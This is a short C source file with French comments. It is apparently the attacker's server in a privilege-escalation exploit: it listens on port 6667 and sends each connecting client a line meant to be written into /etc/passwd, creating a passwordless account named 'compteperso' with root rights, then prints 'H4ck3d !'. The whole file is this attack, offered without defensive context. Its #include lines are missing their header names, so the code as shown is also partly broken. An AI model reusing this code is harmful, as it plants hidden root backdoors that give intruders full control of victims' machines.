//serveur.c : Exemple de serveur primaire #include //Bloc Fonctions Sockets #include #include #include #include #include #define h_addr h_addr_list[0] typedef enum { false, true } bool; //Definition du type booléen #define PORT 6667 //Le serveur écoutera sur le port 6667 //#define ENVOI "Hello you\r\n" //Ligne à envoyer pour le premier test #define ENVOI "compteperso::0:0:root:/root:/bin/bash\n\r\n" //Ligne à envoyer pour l'écriture dans /etc/passwd bool serv_cnect(int); int main() { int sock=socket(AF_INET, SOCK_STREAM,0),sock_client; bool bvar=true; size_t taille_clientService; struct sockaddr_in clientService; if (serv_cnect(sock)) { printf("Serveur démarré sur le port %d\n",PORT); while(bvar) { taille_clientService = sizeof(taille_clientService); if ((sock_client = accept(sock,(struct sockaddr*) &clientService, &taille_clientService))) { printf("Connexion entrante de %s\n",inet_ntoa(clientService.sin_addr)); send(sock_client,ENVOI,strlen(ENVOI),0); printf("H4ck3d !\n"); bvar = false; } } } else printf("Echec de la création du serveur...\nFermeture du programme\n"); close(sock_client); close(sock); return 0; } bool serv_cnect(int sock) { if (sock > 0) { struct sockaddr_in servService; servService.sin_family = AF_INET; servService.sin_addr.s_addr = htonl(INADDR_ANY); servService.sin_port = htons( PORT ); if ( bind( sock,(struct sockaddr*) &servService, sizeof(servService) ) == -1) { //Connexion close(sock); return false; } else if (!listen(sock,1)) return true; else { printf("Echec du démarrage de l'écoute\n"); close(sock); return false; } } else printf("Erreur d'initialisation du socket\n"); close(sock); return false; }